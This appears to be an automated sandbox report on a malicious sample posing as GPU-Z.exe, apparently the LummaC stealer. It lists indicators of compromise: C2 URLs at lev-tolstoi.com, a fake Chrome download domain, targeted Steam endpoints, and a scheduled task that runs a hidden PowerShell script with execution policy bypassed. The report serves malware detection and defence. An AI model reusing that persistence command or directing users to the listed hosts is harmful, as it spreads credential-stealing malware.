https://crashpad.chromium.org/	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://supporttagging-autopush.sandbox.google.com/embed/tagging/install	chromecache_90.22.dr, chromecache_91.22.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://support.google.com/#show-more	chromecache_90.22.dr, chromecache_91.22.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000011.00000002.3098311752.0000000005657000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000002.00000002.3310731711.0000016253E8F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/communities/answer/7424249	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://schema.org	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://sketchfab.com	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/communities/answer/7425194	chromecache_91.22.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_91.22.dr	false		high
https://www.google.com/chrome	chromecache_90.22.dr, chromecache_91.22.dr	false		high
http://crl.micro	powershell.exe, 0000000B.00000002.2884576426.0000000008992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.%/ads/ga-audiences	chromecache_92.22.dr	false		high
https://m.google.com/devicemanagement/data/api	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://content-googleapis-staging.sandbox.google.com	chromecache_90.22.dr, chromecache_91.22.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://support.google.com/installer/	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://www.google.com/recaptcha/	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://chrome-browser-download.com	powershell.exe, 00000011.00000002.3098311752.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clients6.google.com	chromecache_90.22.dr, chromecache_91.22.dr	false		high
http://html4/loose.dtd	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	false		high
https://support.google.com/embed/tagging/install	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://crashpad.chromium.org/bug/new	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://play.google.com	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 0000000E.00000002.2895502926.00000213962D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/api.js?trustedtypes=true&onload=	chromecache_90.22.dr, chromecache_91.22.dr	false		high
http://.css	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	false		high
https://www.google.com/chrome/browser/desktop/index.html?system=false&standalone=1	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://lev-tolstoi.com/apis	AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steamp	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.jpg	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr	false		high
http://cacerts.digic	ChromeSetup.exe, 00000012.00000003.3096288070.0000000054114000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/browser/desktop/index.html	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://lev-tolstoi.com/apion1	AddInProcess32.exe, 00000008.00000002.2986724331.0000000000612000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.2874157518.0000000006480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tagassistant.google.com/	chromecache_92.22.dr	false		high
https://store.steampowered.com/	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1:27060	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.2.dr	false		high
https://policies.google.com/terms/generative-ai	chromecache_91.22.dr	false		high
https://lev-tolstoi.com:443/api	AddInProcess32.exe, 00000008.00000002.2986361099.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/ads/ga-audiences	chromecache_92.22.dr	false		high
https://support.google.com/google-ads/workflow/14159772	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://api.steampowereV	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl.google.com/update2/installers/icons/	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://google.com/chrome	chromecache_90.22.dr, chromecache_91.22.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
172.67.190.234	chrome-browser-download.com	United States	13335	CLOUDFLARENETUS	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581997
Start date and time:	2024-12-29 14:13:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GPU-Z.exe
Detection:	MAL
Classification:	mal100.bank.troj.evad.winEXE@57/44@24/7
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 192.229.221.95, 172.217.19.227, 172.217.19.238, 173.194.220.84, 172.217.17.46, 172.217.19.10, 172.217.19.206, 216.58.208.227, 172.217.17.40, 142.250.181.78, 142.250.181.99, 142.250.181.42, 142.250.181.138, 142.250.181.74, 172.217.17.74, 172.217.19.202, 216.58.208.234, 172.217.21.42, 172.217.19.170, 172.217.19.234, 142.250.181.10, 142.250.181.106, 172.217.17.42, 142.250.181.104, 172.217.21.59, 142.250.181.27, 172.217.19.251, 216.58.208.251, 142.250.181.91, 142.250.181.123, 172.217.19.219, 172.217.17.59, 142.250.181.59, 172.217.19.27, 172.217.17.91, 142.250.181.155, 4.245.163.56, 13.107.246.63, 23.1.237.91
Excluded domains from analysis (whitelisted): www.bing.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, storage.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, www.googletagmanager.com, e16604.g.akamaiedge.net, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, www.google-analytics.com
Execution Graph export aborted for target powershell.exe, PID 3840 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4124 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: GPU-Z.exe

Simulations

Behavior and APIs

Time	Type	Description
08:14:04	API Interceptor	2x Sleep call for process: svchost.exe modified
08:14:36	API Interceptor	375717x Sleep call for process: GPU-Z.exe modified
08:15:23	API Interceptor	33x Sleep call for process: AddInProcess32.exe modified
08:15:24	API Interceptor	66x Sleep call for process: powershell.exe modified
14:15:27	Task Scheduler	Run new task: MediaUpdate path: cmd s>/c powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
14:15:53	Task Scheduler	Run new task: GoogleUpdaterTaskSystem132.0.6833.0{9C0D08E3-CDF5-4B1D-8F83-96493303B1E7} path: "C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\updater.exe" s>--wake --system

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	Loader.exe	Get hash	malicious	LummaC	Browse
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse
239.255.255.250	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse
	https://gtgyhtrgerftrgr.blob.core.windows.net/frhvhgse/vsgwhk.html	Get hash	malicious	Unknown	Browse
	https://its.piquedigital.com.br/maryland.gov/&adfs/ls/client-request-id=7c724&wa=wsignin10.html	Get hash	malicious	Unknown	Browse
	https://belasting.online-factuur.com	Get hash	malicious	Unknown	Browse
	https://kn0wbe4.compromisedblog.com/XZHJISTcycW1tZkROWG92Y2ZEc21laS80dzNTR2N0eEsvTDFRWGFNODdGaGtjNGo5VzRyMFRUQmFLM0grcGxUbnBSTVFhMEg2Smd3UkovaXVjaUpIcG1hZG5CQnh5aFlZTXNqNldTdm84cE5CMUtld0dCZzN4ZUFRK2lvL1FWTG92NUJsMnJ3OHFGckdTNFhnMkFUTFZFZTdKRnVJaTRuRGFKdXVyeUdCVytuQzdnMEV1ZExSMnlwWi9RPT0tLTdnZjhxQVZPbUdTdFZXVUEtLXA0bHNCNGxmeTdrdmlkWWRVcmRXRWc9PQ==?cid=2310423310	Get hash	malicious	KnowBe4	Browse
	FB.html	Get hash	malicious	Unknown	Browse
	https://app.slintel-privacy.com/links/J95tSop4o/SS6JytVVw/qm84IUL58/GFC-9kqk1-	Get hash	malicious	Unknown	Browse
	http://prowebideas.com/dsfdgfhgdfsdfdgfhgdrwet/gdfsdfdgfhgfgdfsdfdgfh/gfsdfdgfhgfgdfsdfdgfhgdfsdfdgfh	Get hash	malicious	Unknown	Browse
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
172.67.190.234	TAVMCtVXa5.exe	Get hash	malicious	Unknown	Browse
172.67.190.234	file.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
support.google.com	https://52kz793.afratradingagency.com/	Get hash	malicious	HTMLPhisher	Browse	172.217.19.206
	https://stgasplitrelatorios.blob.core.windows.net/splitrelatorios90dias/10035_20241217.zip?se=2024-12-18T14%3A42%3A10Z&sp=r&spr=https&sv=2019-02-02&sr=b&sig=5ltPQNyZzXUXi0ItA58/8wM4EzPwCnTr/mCY1cev%2Bng%3D	Get hash	malicious	Unknown	Browse	172.217.19.206
	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse	172.217.17.46
	A095176990000.pdf	Get hash	malicious	HTMLPhisher	Browse	172.217.17.78
	https://form.jotform.com/243186396374063	Get hash	malicious	HTMLPhisher	Browse	142.250.74.206
	jO7FHDAZ6f.pdf	Get hash	malicious	Unknown	Browse	142.250.186.110
	https://whimsical.com/project-960-2024-doc-KUa9Z37ZsDmpPxB99pof8A	Get hash	malicious	Unknown	Browse	142.250.74.206
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	172.217.16.206
	Request_for_Title_Commitment.html	Get hash	malicious	Unknown	Browse	142.250.184.206
	Camilla.Chua_Review_Salary147d1c0f-8d0d-4d8d-9d2d-d7e26c541d67_Vliio.pdf	Get hash	malicious	Unknown	Browse	142.250.184.238
lev-tolstoi.com	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.66.86
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
play.google.com	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.238
	Setup.exe	Get hash	malicious	Unknown	Browse	172.217.19.206
	Setup.exe	Get hash	malicious	Unknown	Browse	172.217.19.206
	http://tubnzy3uvz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	172.217.19.238
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse	172.217.19.238
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse	172.217.19.238
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.206
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	172.217.19.238
	https://specificallycries.com/askyhgxe?stixna=48&refer=https%3A%2F%2Fwww.bodyvitalspa.com%2F&kw=%5B%22welcome%22%2C%22to%22%2C%22body%22%2C%22vital%22%2C%22foot%22%2C%22spa%22%2C%22-%22%2C%22body%22%2C%22vital%22%2C%22foot%22%2C%22spa%22%5D&key=0b0f64ea0800e4174573a0e17513102f&scrWidth=1920&scrHeight=1080&tz=-5&v=24.12.6652&ship=&psid=www.bodyvitalspa.com,www.bodyvitalspa.com&sub3=invoke_layer&res=14.31&dev=r&adb=n&uuid=64597ca1-acf8-4c16-8774-db4c7f843adf%3A3%3A1&adb=n	Get hash	malicious	Anonymous Proxy	Browse	172.217.19.206
	5diately.msg	Get hash	malicious	Unknown	Browse	172.217.19.206
steamcommunity.com	gdi32.dll	Get hash	malicious	LummaC	Browse	23.55.153.106
	Loader.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	172.64.150.63
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.80.1
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	172.67.165.100
	https://gtgyhtrgerftrgr.blob.core.windows.net/frhvhgse/vsgwhk.html	Get hash	malicious	Unknown	Browse	104.21.77.48
	EjS7Q5fFCE.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.186.200
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	172.67.160.84
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	172.67.160.84
CLOUDFLARENETUS	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	172.64.150.63
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.80.1
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	172.67.165.100
	https://gtgyhtrgerftrgr.blob.core.windows.net/frhvhgse/vsgwhk.html	Get hash	malicious	Unknown	Browse	104.21.77.48
	EjS7Q5fFCE.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.186.200
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	172.67.160.84
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	172.67.160.84
AKAMAI-ASUS	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	23.49.251.25
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	2.16.80.56
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	48.252.190.9.zip	Get hash	malicious	Unknown	Browse	23.206.103.35
	Installer.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	phish_alert_iocp_v1.4.48 - 2024-12-27T140703.193.eml	Get hash	malicious	Unknown	Browse	2.19.198.40
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Leside-.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Setup.exe	Get hash	malicious	Unknown	Browse	104.121.10.34

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.190.234
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	172.67.190.234
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	172.67.190.234
	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	172.67.190.234
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	172.67.190.234
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	172.67.190.234
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	172.67.190.234
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	172.67.190.234
	lumma.ps1	Get hash	malicious	LummaC	Browse	172.67.190.234
	Titan.exe	Get hash	malicious	Unknown	Browse	172.67.190.234
a0e9f5d64349fb13191bc781f81f42e1	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	172.67.157.254 104.102.49.254
	gdi32.dll	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	!Set-up..exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 104.102.49.254
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 104.102.49.254
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254

Process:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.39546184423832
Encrypted:	false
SSDEEP:	3:FkWXlqFoQ/:9EN/
MD5:	2C18EC96BA09204654EA21C9E5E70560
